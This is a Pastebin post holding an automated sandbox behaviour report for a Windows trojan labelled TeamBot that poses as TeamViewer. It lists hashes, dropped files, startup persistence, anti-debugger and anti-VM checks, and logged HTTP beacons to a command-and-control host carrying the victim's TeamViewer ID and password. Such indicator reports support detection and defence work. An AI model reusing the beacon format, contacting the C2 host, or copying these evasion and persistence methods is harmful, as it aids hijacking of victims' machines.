API tools faq
paste
paladin316

Exes_e1167cb7f3735d4edec5f7219cea64ef_1_2019-07-23_05_30.txt

paladin316
Jul 23rd, 2019
2,074
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.66 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "TeamBot"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Exes_e1167cb7f3735d4edec5f7219cea64ef.1"
  7. * File Size: 3998591
  8. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. * SHA256: "b2ab87d5408a19b0d65d49b74c0f3d879ac55c3e57117e4117ff500394e2ad17"
  10. * MD5: "e1167cb7f3735d4edec5f7219cea64ef"
  11. * SHA1: "9b32cbdba2f3f40f2072dbeb61b345c910e45b39"
  12. * SHA512: "e62104b529dfb87203ee3f8406259284663e0d7bc2c02836253c2c1788a0798241377e48d4609cc0ec2295028ff171a746b3fe1537c8cc235a1f3981699122a8"
  13. * CRC32: "D69AC9C3"
  14. * SSDEEP: "98304:SB/mSwJ/stDHmKRai2+DyAEJ9v00FabNuATit4QqKUiqIa4j1yj:SB/m1/Cfe+i9M0oMP//a48j"
  15.  
  16. * Process Execution:
  17. "Exes_e1167cb7f3735d4edec5f7219cea64ef.1",
  18. "TeamViewer.exe"
  19.  
  20.  
  21. * Executed Commands:
  22. "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\TeamViewer.exe "
  23.  
  24.  
  25. * Signatures Detected:
  26.  
  27. "Description": "Creates RWX memory",
  28. "Details":
  29.  
  30.  
  31. "Description": "Attempts to connect to a dead IP:Port (7 unique times)",
  32. "Details":
  33.  
  34. "IP": "23.60.139.27:80"
  35.  
  36.  
  37. "IP": "188.172.214.62:5938"
  38.  
  39.  
  40. "IP": "185.188.32.3:5938"
  41.  
  42.  
  43. "IP": "127.0.0.1:9998"
  44.  
  45.  
  46. "IP": "72.21.81.240:80"
  47.  
  48.  
  49. "IP": "213.227.185.141:5938"
  50.  
  51.  
  52. "IP": "72.21.91.29:80"
  53.  
  54.  
  55.  
  56.  
  57. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  58. "Details":
  59.  
  60. "ioc": "nc.1705"
  61.  
  62.  
  63. "ioc": "https://d.symcb.com/cps0"
  64.  
  65.  
  66. "ioc": "https://d.symcb.com/rpa0"
  67.  
  68.  
  69. "ioc": "nc.1402"
  70.  
  71.  
  72.  
  73.  
  74. "Description": "Starts servers listening on 127.0.0.1:9997",
  75. "Details":
  76.  
  77.  
  78. "Description": "Expresses interest in specific running processes",
  79. "Details":
  80.  
  81. "process": "System"
  82.  
  83.  
  84.  
  85.  
  86. "Description": "Reads data out of its own binary image",
  87. "Details":
  88.  
  89. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00000000, length: 0x00000007"
  90.  
  91.  
  92. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00000000, length: 0x00002000"
  93.  
  94.  
  95. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00000007, length: 0x001ffff0"
  96.  
  97.  
  98. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00001ff0, length: 0x00002000"
  99.  
  100.  
  101. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00003fe0, length: 0x00002000"
  102.  
  103.  
  104. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00005fd0, length: 0x00002000"
  105.  
  106.  
  107. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00007fc0, length: 0x00002000"
  108.  
  109.  
  110. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00009fb0, length: 0x00002000"
  111.  
  112.  
  113. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0000bfa0, length: 0x00002000"
  114.  
  115.  
  116. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0000df90, length: 0x00002000"
  117.  
  118.  
  119. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0000ff80, length: 0x00002000"
  120.  
  121.  
  122. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00011f70, length: 0x00002000"
  123.  
  124.  
  125. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00013f60, length: 0x00002000"
  126.  
  127.  
  128. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00015f50, length: 0x00002000"
  129.  
  130.  
  131. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00017f40, length: 0x00002000"
  132.  
  133.  
  134. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00019f30, length: 0x00002000"
  135.  
  136.  
  137. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0001bf20, length: 0x00002000"
  138.  
  139.  
  140. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0001df10, length: 0x00002000"
  141.  
  142.  
  143. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0001ff00, length: 0x00002000"
  144.  
  145.  
  146. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00021ef0, length: 0x00002000"
  147.  
  148.  
  149. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00023ee0, length: 0x00002000"
  150.  
  151.  
  152. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00025ed0, length: 0x00002000"
  153.  
  154.  
  155. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00027ec0, length: 0x00002000"
  156.  
  157.  
  158. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00029eb0, length: 0x00002000"
  159.  
  160.  
  161. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0002bea0, length: 0x00002000"
  162.  
  163.  
  164. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0002de90, length: 0x00002000"
  165.  
  166.  
  167. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0002fe80, length: 0x00002000"
  168.  
  169.  
  170. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00031e70, length: 0x00002000"
  171.  
  172.  
  173. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00033e60, length: 0x00002000"
  174.  
  175.  
  176. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00035e50, length: 0x00002000"
  177.  
  178.  
  179. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00037e40, length: 0x00002000"
  180.  
  181.  
  182. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x00039e30, length: 0x00002000"
  183.  
  184.  
  185. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0003be20, length: 0x00002000"
  186.  
  187.  
  188. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0003de10, length: 0x00002000"
  189.  
  190.  
  191. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0003f600, length: 0x00000031"
  192.  
  193.  
  194. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x0003f619, length: 0x00390c6a"
  195.  
  196.  
  197. "self_read": "process: Exes_e1167cb7f3735d4edec5f7219cea64ef.1, pid: 2952, offset: 0x003d0377, length: 0x00000008"
  198.  
  199.  
  200.  
  201.  
  202. "Description": "Drops a binary and executes it",
  203. "Details":
  204.  
  205. "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\TeamViewer.exe"
  206.  
  207.  
  208.  
  209.  
  210. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  211. "Details":
  212.  
  213. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  214.  
  215.  
  216. "suspicious_request": "http://intersys32.com/3307/?gate&hwid=C1C5B64F&id=000%20000%20000&pwd=0000&info=%7B%22os%22%3A%22Windows%20%37%20Enterprise%20N%20x%36%34%22%2C%22pcuser%22%3A%22SBUW%37X%36%34%5C%5Cuser%22%2C%22cpu%22%3A%22Intel%28R%29%20Core%28TM%29CPU%20E%35%2D%32%36%37%30%20%30%20%40%20%32%2E%36%30GHz%22%2C%22ram%22%3A%22%34%30%39%35mb%22%2C%22av%22%3A%22nil%22%2C%22admin%22%3A%22YES%22%2C%22comment%22%3A%22hTV%5Fbot%5F%5Bv%31%2E%33%5D%22%7D"
  217.  
  218.  
  219. "suspicious_request": "http://crl.verisign.com/pca3.crl"
  220.  
  221.  
  222. "suspicious_request": "http://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ%2FxkCfyHfJr7GQ6M658NRZ4SHo%2FAQUCPVR6Pv%2BPT1kNnxoz1t4qN%2B5xTcCECXJAtAm4xJEwSWZZ3HJ3AE%3D"
  223.  
  224.  
  225. "suspicious_request": "http://intersys32.com/3307/?gate&hwid=C1C5B64F&id=1%20337%20066%20113&pwd=9058&info=%7B%22os%22%3A%22Windows%20%37%20Enterprise%20N%20x%36%34%22%2C%22pcuser%22%3A%22SBUW%37X%36%34%5C%5Cuser%22%2C%22cpu%22%3A%22Intel%28R%29%20Core%28TM%29CPU%20E%35%2D%32%36%37%30%20%30%20%40%20%32%2E%36%30GHz%22%2C%22ram%22%3A%22%34%30%39%35mb%22%2C%22av%22%3A%22nil%22%2C%22admin%22%3A%22YES%22%2C%22comment%22%3A%22hTV%5Fbot%5F%5Bv%31%2E%33%5D%22%7D"
  226.  
  227.  
  228.  
  229.  
  230. "Description": "Performs some HTTP requests",
  231. "Details":
  232.  
  233. "url": "http://intersys32.com/3307/?gate&hwid=C1C5B64F&id=000%20000%20000&pwd=0000&info=%7B%22os%22%3A%22Windows%20%37%20Enterprise%20N%20x%36%34%22%2C%22pcuser%22%3A%22SBUW%37X%36%34%5C%5Cuser%22%2C%22cpu%22%3A%22Intel%28R%29%20Core%28TM%29CPU%20E%35%2D%32%36%37%30%20%30%20%40%20%32%2E%36%30GHz%22%2C%22ram%22%3A%22%34%30%39%35mb%22%2C%22av%22%3A%22nil%22%2C%22admin%22%3A%22YES%22%2C%22comment%22%3A%22hTV%5Fbot%5F%5Bv%31%2E%33%5D%22%7D"
  234.  
  235.  
  236. "url": "http://crl.verisign.com/pca3.crl"
  237.  
  238.  
  239. "url": "http://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ%2FxkCfyHfJr7GQ6M658NRZ4SHo%2FAQUCPVR6Pv%2BPT1kNnxoz1t4qN%2B5xTcCECXJAtAm4xJEwSWZZ3HJ3AE%3D"
  240.  
  241.  
  242. "url": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab"
  243.  
  244.  
  245. "url": "http://intersys32.com/3307/?gate&hwid=C1C5B64F&id=1%20337%20066%20113&pwd=9058&info=%7B%22os%22%3A%22Windows%20%37%20Enterprise%20N%20x%36%34%22%2C%22pcuser%22%3A%22SBUW%37X%36%34%5C%5Cuser%22%2C%22cpu%22%3A%22Intel%28R%29%20Core%28TM%29CPU%20E%35%2D%32%36%37%30%20%30%20%40%20%32%2E%36%30GHz%22%2C%22ram%22%3A%22%34%30%39%35mb%22%2C%22av%22%3A%22nil%22%2C%22admin%22%3A%22YES%22%2C%22comment%22%3A%22hTV%5Fbot%5F%5Bv%31%2E%33%5D%22%7D"
  246.  
  247.  
  248.  
  249.  
  250. "Description": "Checks for the presence of known windows from debuggers and forensic tools",
  251. "Details":
  252.  
  253. "Window": "OLLYDBG"
  254.  
  255.  
  256. "Window": "GBDYLLO"
  257.  
  258.  
  259. "Window": "pediy06"
  260.  
  261.  
  262. "Window": "FilemonClass"
  263.  
  264.  
  265. "Window": "File Monitor - Sysinternals: www.sysinternals.com"
  266.  
  267.  
  268. "Window": "PROCMON_WINDOW_CLASS"
  269.  
  270.  
  271. "Window": "Process Monitor - Sysinternals: www.sysinternals.com"
  272.  
  273.  
  274. "Window": "RegmonClass"
  275.  
  276.  
  277. "Window": "Registry Monitor - Sysinternals: www.sysinternals.com"
  278.  
  279.  
  280. "Window": "18467-41"
  281.  
  282.  
  283. "Window": "Regmonclass"
  284.  
  285.  
  286. "Window": "Filemonclass"
  287.  
  288.  
  289.  
  290.  
  291. "Description": "A process attempted to delay the analysis task by a long amount of time.",
  292. "Details":
  293.  
  294. "Process": "TeamViewer.exe tried to sleep 3051 seconds, actually delayed analysis time by 0 seconds"
  295.  
  296.  
  297.  
  298.  
  299. "Description": "Tries to unhook or modify Windows functions monitored by Cuckoo",
  300. "Details":
  301.  
  302. "unhook": "function_name: SystemParametersInfoW, type: modification"
  303.  
  304.  
  305.  
  306.  
  307. "Description": "The following process appear to have been packed with Themida: TeamViewer.exe",
  308. "Details":
  309.  
  310.  
  311. "Description": "Installs itself for autorun at Windows startup",
  312. "Details":
  313.  
  314. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\GatewayLayer 1.3957.lnk"
  315.  
  316.  
  317. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\GatewayLayer 1.3957.lnk"
  318.  
  319.  
  320.  
  321.  
  322. "Description": "Creates a hidden or system file",
  323. "Details":
  324.  
  325. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\TeamViewer.exe"
  326.  
  327.  
  328. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\TV.dll"
  329.  
  330.  
  331. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\Teamviewer_Resource_fr.dll"
  332.  
  333.  
  334. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\config.bin"
  335.  
  336.  
  337.  
  338.  
  339. "Description": "Checks for the presence of known devices from debuggers and forensic tools",
  340. "Details":
  341.  
  342.  
  343. "Description": "Detects the presence of Wine emulator via registry key",
  344. "Details":
  345.  
  346.  
  347. "Description": "Checks the version of Bios, possibly for anti-virtualization",
  348. "Details":
  349.  
  350.  
  351. "Description": "Checks the CPU name from registry, possibly for anti-virtualization",
  352. "Details":
  353.  
  354.  
  355. "Description": "Detects VirtualBox using ACPI tricks",
  356. "Details":
  357.  
  358.  
  359. "Description": "Detects VirtualBox through the presence of a registry key",
  360. "Details":
  361.  
  362.  
  363. "Description": "Clamav Hits in Target/Dropped/SuriExtracted",
  364. "Details":
  365.  
  366. "target": "clamav:Win.Trojan.TeamBot-6987039-0, sha256:b2ab87d5408a19b0d65d49b74c0f3d879ac55c3e57117e4117ff500394e2ad17, type:PE32 executable (GUI) Intel 80386, for MS Windows"
  367.  
  368.  
  369. "dropped": "clamav:Win.Trojan.TeamBot-6987075-0, sha256:28764e617667c9704246c56b613d1b75e489346cbb5df9a14e1ce2d996f5c167 , guest_paths:C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\TV.dll, type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows"
  370.  
  371.  
  372.  
  373.  
  374.  
  375. * Started Service:
  376.  
  377. * Mutexes:
  378. "DefaultTabtip-MainUI",
  379. "CicLoadWinStaWinSta0",
  380. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  381. "DBWinMutex",
  382. "FF0x7d_Win32_Instance_Mutex",
  383. "FF0x7d3_Win32_Instance_Mutex",
  384. "FF0x7dDyn_Win32_Instance_Mutex",
  385. "C15730E2-145C-4c5e-B005-3BC753F42475-once-flagEBEJJIAAAOFAAAAA"
  386.  
  387.  
  388. * Modified Files:
  389. "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\__tmp_rar_sfx_access_check_8255625",
  390. "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\config.bin",
  391. "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\Teamviewer_Resource_fr.dll",
  392. "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\TV.dll",
  393. "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\TeamViewer.exe",
  394. "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\FZhIG.ico",
  395. "\\??\\PIPE\\srvsvc",
  396. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\GatewayLayer 1.3957.lnk",
  397. "\\??\\SICE",
  398. "\\??\\SIWVID",
  399. "\\??\\NTICE",
  400. "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\0.0",
  401. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\60E31627FDA0A46932B0E5948949F2A5",
  402. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\60E31627FDA0A46932B0E5948949F2A5",
  403. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3C3948BE6E525B8A8CEE9FAC91C9E392_EEB8C7E9A435DC539B7A34AD155842C4",
  404. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3C3948BE6E525B8A8CEE9FAC91C9E392_EEB8C7E9A435DC539B7A34AD155842C4",
  405. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2A7D.tmp",
  406. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2A7E.tmp",
  407. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2AFC.tmp",
  408. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2AFD.tmp",
  409. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015",
  410. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015",
  411. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2FC0.tmp",
  412. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2FC1.tmp",
  413. "C:\\Users\\user\\AppData\\Roaming\\TeamViewer\\TeamViewer5_Logfile.log",
  414. "C:\\Program Files (x86)\\QS\\SAS.exe",
  415. "\\??\\PIPE\\wkssvc",
  416. "\\Device\\LanmanDatagramReceiver",
  417. "\\??\\PIPE\\DAV RPC SERVICE"
  418.  
  419.  
  420. * Deleted Files:
  421. "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\__tmp_rar_sfx_access_check_8255625",
  422. "C:\\Users\\user\\AppData\\Local\\Temp\\PmIgYzA\\QS.ini",
  423. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2A7D.tmp",
  424. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2A7E.tmp",
  425. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2AFC.tmp",
  426. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2AFD.tmp",
  427. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2FC0.tmp",
  428. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2FC1.tmp"
  429.  
  430.  
  431. * Modified Registry Keys:
  432. "HKEY_CURRENT_USER\\Software\\WinRAR SFX",
  433. "HKEY_CURRENT_USER\\Software\\WinRAR SFX\\C%%Users%user%AppData%Local%Temp%PmIgYzA%",
  434. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  435. "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\MediaResources\\msvideo"
  436.  
  437.  
  438. * Deleted Registry Keys:
  439.  
  440. * DNS Communications:
  441.  
  442. "type": "A",
  443. "request": "intersys32.com",
  444. "answers":
  445.  
  446. "data": "209.99.40.223",
  447. "type": "A"
  448.  
  449.  
  450.  
  451.  
  452. "type": "A",
  453. "request": "crl.verisign.com",
  454. "answers":
  455.  
  456. "data": "crl-symcprod.digicert.com",
  457. "type": "CNAME"
  458.  
  459.  
  460. "data": "cs9.wac.phicdn.net",
  461. "type": "CNAME"
  462.  
  463.  
  464. "data": "72.21.91.29",
  465. "type": "A"
  466.  
  467.  
  468.  
  469.  
  470. "type": "A",
  471. "request": "ocsp.verisign.com",
  472. "answers":
  473.  
  474. "data": "ocsp-ds.ws.symantec.com.edgekey.net",
  475. "type": "CNAME"
  476.  
  477.  
  478. "data": "e8218.dscb1.akamaiedge.net",
  479. "type": "CNAME"
  480.  
  481.  
  482. "data": "23.60.139.27",
  483. "type": "A"
  484.  
  485.  
  486.  
  487.  
  488. "type": "A",
  489. "request": "ping3.dyngate.com",
  490. "answers":
  491.  
  492. "data": "188.172.214.62",
  493. "type": "A"
  494.  
  495.  
  496. "data": "162.250.6.158",
  497. "type": "A"
  498.  
  499.  
  500. "data": "162.250.5.94",
  501. "type": "A"
  502.  
  503.  
  504. "data": "213.227.173.158",
  505. "type": "A"
  506.  
  507.  
  508. "data": "162.220.222.190",
  509. "type": "A"
  510.  
  511.  
  512. "data": "ping3.teamviewer.com",
  513. "type": "CNAME"
  514.  
  515.  
  516.  
  517.  
  518. "type": "A",
  519. "request": "master11.teamviewer.com",
  520. "answers":
  521.  
  522. "data": "185.188.32.3",
  523. "type": "A"
  524.  
  525.  
  526.  
  527.  
  528.  
  529. * Domains:
  530.  
  531. "ip": "162.250.6.158",
  532. "domain": "ping3.dyngate.com"
  533.  
  534.  
  535. "ip": "23.60.139.27",
  536. "domain": "ocsp.verisign.com"
  537.  
  538.  
  539. "ip": "72.21.91.29",
  540. "domain": "crl.verisign.com"
  541.  
  542.  
  543. "ip": "185.188.32.3",
  544. "domain": "master11.teamviewer.com"
  545.  
  546.  
  547. "ip": "209.99.40.222",
  548. "domain": "intersys32.com"
  549.  
  550.  
  551.  
  552. * Network Communication - ICMP:
  553.  
  554. * Network Communication - HTTP:
  555.  
  556. "count": 1,
  557. "body": "",
  558. "uri": "http://intersys32.com/3307/?gate&hwid=C1C5B64F&id=000%20000%20000&pwd=0000&info=%7B%22os%22%3A%22Windows%20%37%20Enterprise%20N%20x%36%34%22%2C%22pcuser%22%3A%22SBUW%37X%36%34%5C%5Cuser%22%2C%22cpu%22%3A%22Intel%28R%29%20Core%28TM%29CPU%20E%35%2D%32%36%37%30%20%30%20%40%20%32%2E%36%30GHz%22%2C%22ram%22%3A%22%34%30%39%35mb%22%2C%22av%22%3A%22nil%22%2C%22admin%22%3A%22YES%22%2C%22comment%22%3A%22hTV%5Fbot%5F%5Bv%31%2E%33%5D%22%7D",
  559. "user-agent": "",
  560. "method": "GET",
  561. "host": "intersys32.com",
  562. "version": "1.1",
  563. "path": "/3307/?gate&hwid=C1C5B64F&id=000%20000%20000&pwd=0000&info=%7B%22os%22%3A%22Windows%20%37%20Enterprise%20N%20x%36%34%22%2C%22pcuser%22%3A%22SBUW%37X%36%34%5C%5Cuser%22%2C%22cpu%22%3A%22Intel%28R%29%20Core%28TM%29CPU%20E%35%2D%32%36%37%30%20%30%20%40%20%32%2E%36%30GHz%22%2C%22ram%22%3A%22%34%30%39%35mb%22%2C%22av%22%3A%22nil%22%2C%22admin%22%3A%22YES%22%2C%22comment%22%3A%22hTV%5Fbot%5F%5Bv%31%2E%33%5D%22%7D",
  564. "data": "GET /3307/?gate&hwid=C1C5B64F&id=000%20000%20000&pwd=0000&info=%7B%22os%22%3A%22Windows%20%37%20Enterprise%20N%20x%36%34%22%2C%22pcuser%22%3A%22SBUW%37X%36%34%5C%5Cuser%22%2C%22cpu%22%3A%22Intel%28R%29%20Core%28TM%29CPU%20E%35%2D%32%36%37%30%20%30%20%40%20%32%2E%36%30GHz%22%2C%22ram%22%3A%22%34%30%39%35mb%22%2C%22av%22%3A%22nil%22%2C%22admin%22%3A%22YES%22%2C%22comment%22%3A%22hTV%5Fbot%5F%5Bv%31%2E%33%5D%22%7D HTTP/1.1\r\nHost: intersys32.com\r\nConnection: close\r\n\r\n",
  565. "port": 80
  566.  
  567.  
  568. "count": 1,
  569. "body": "",
  570. "uri": "http://crl.verisign.com/pca3.crl",
  571. "user-agent": "Microsoft-CryptoAPI/6.1",
  572. "method": "GET",
  573. "host": "crl.verisign.com",
  574. "version": "1.1",
  575. "path": "/pca3.crl",
  576. "data": "GET /pca3.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.verisign.com\r\n\r\n",
  577. "port": 80
  578.  
  579.  
  580. "count": 1,
  581. "body": "",
  582. "uri": "http://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ%2FxkCfyHfJr7GQ6M658NRZ4SHo%2FAQUCPVR6Pv%2BPT1kNnxoz1t4qN%2B5xTcCECXJAtAm4xJEwSWZZ3HJ3AE%3D",
  583. "user-agent": "Microsoft-CryptoAPI/6.1",
  584. "method": "GET",
  585. "host": "ocsp.verisign.com",
  586. "version": "1.1",
  587. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ%2FxkCfyHfJr7GQ6M658NRZ4SHo%2FAQUCPVR6Pv%2BPT1kNnxoz1t4qN%2B5xTcCECXJAtAm4xJEwSWZZ3HJ3AE%3D",
  588. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ%2FxkCfyHfJr7GQ6M658NRZ4SHo%2FAQUCPVR6Pv%2BPT1kNnxoz1t4qN%2B5xTcCECXJAtAm4xJEwSWZZ3HJ3AE%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.verisign.com\r\n\r\n",
  589. "port": 80
  590.  
  591.  
  592. "count": 2,
  593. "body": "",
  594. "uri": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
  595. "user-agent": "Microsoft-CryptoAPI/6.1",
  596. "method": "GET",
  597. "host": "www.download.windowsupdate.com",
  598. "version": "1.1",
  599. "path": "/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
  600. "data": "GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1\r\nCache-Control: max-age = 86401\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Feb 2019 16:53:13 GMT\r\nIf-None-Match: \"80e22c19cfcad41:0\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: www.download.windowsupdate.com\r\n\r\n",
  601. "port": 80
  602.  
  603.  
  604. "count": 9,
  605. "body": "",
  606. "uri": "http://intersys32.com/3307/?gate&hwid=C1C5B64F&id=1%20337%20066%20113&pwd=9058&info=%7B%22os%22%3A%22Windows%20%37%20Enterprise%20N%20x%36%34%22%2C%22pcuser%22%3A%22SBUW%37X%36%34%5C%5Cuser%22%2C%22cpu%22%3A%22Intel%28R%29%20Core%28TM%29CPU%20E%35%2D%32%36%37%30%20%30%20%40%20%32%2E%36%30GHz%22%2C%22ram%22%3A%22%34%30%39%35mb%22%2C%22av%22%3A%22nil%22%2C%22admin%22%3A%22YES%22%2C%22comment%22%3A%22hTV%5Fbot%5F%5Bv%31%2E%33%5D%22%7D",
  607. "user-agent": "",
  608. "method": "GET",
  609. "host": "intersys32.com",
  610. "version": "1.1",
  611. "path": "/3307/?gate&hwid=C1C5B64F&id=1%20337%20066%20113&pwd=9058&info=%7B%22os%22%3A%22Windows%20%37%20Enterprise%20N%20x%36%34%22%2C%22pcuser%22%3A%22SBUW%37X%36%34%5C%5Cuser%22%2C%22cpu%22%3A%22Intel%28R%29%20Core%28TM%29CPU%20E%35%2D%32%36%37%30%20%30%20%40%20%32%2E%36%30GHz%22%2C%22ram%22%3A%22%34%30%39%35mb%22%2C%22av%22%3A%22nil%22%2C%22admin%22%3A%22YES%22%2C%22comment%22%3A%22hTV%5Fbot%5F%5Bv%31%2E%33%5D%22%7D",
  612. "data": "GET /3307/?gate&hwid=C1C5B64F&id=1%20337%20066%20113&pwd=9058&info=%7B%22os%22%3A%22Windows%20%37%20Enterprise%20N%20x%36%34%22%2C%22pcuser%22%3A%22SBUW%37X%36%34%5C%5Cuser%22%2C%22cpu%22%3A%22Intel%28R%29%20Core%28TM%29CPU%20E%35%2D%32%36%37%30%20%30%20%40%20%32%2E%36%30GHz%22%2C%22ram%22%3A%22%34%30%39%35mb%22%2C%22av%22%3A%22nil%22%2C%22admin%22%3A%22YES%22%2C%22comment%22%3A%22hTV%5Fbot%5F%5Bv%31%2E%33%5D%22%7D HTTP/1.1\r\nHost: intersys32.com\r\nConnection: close\r\n\r\n",
  613. "port": 80
  614.  
  615.  
  616.  
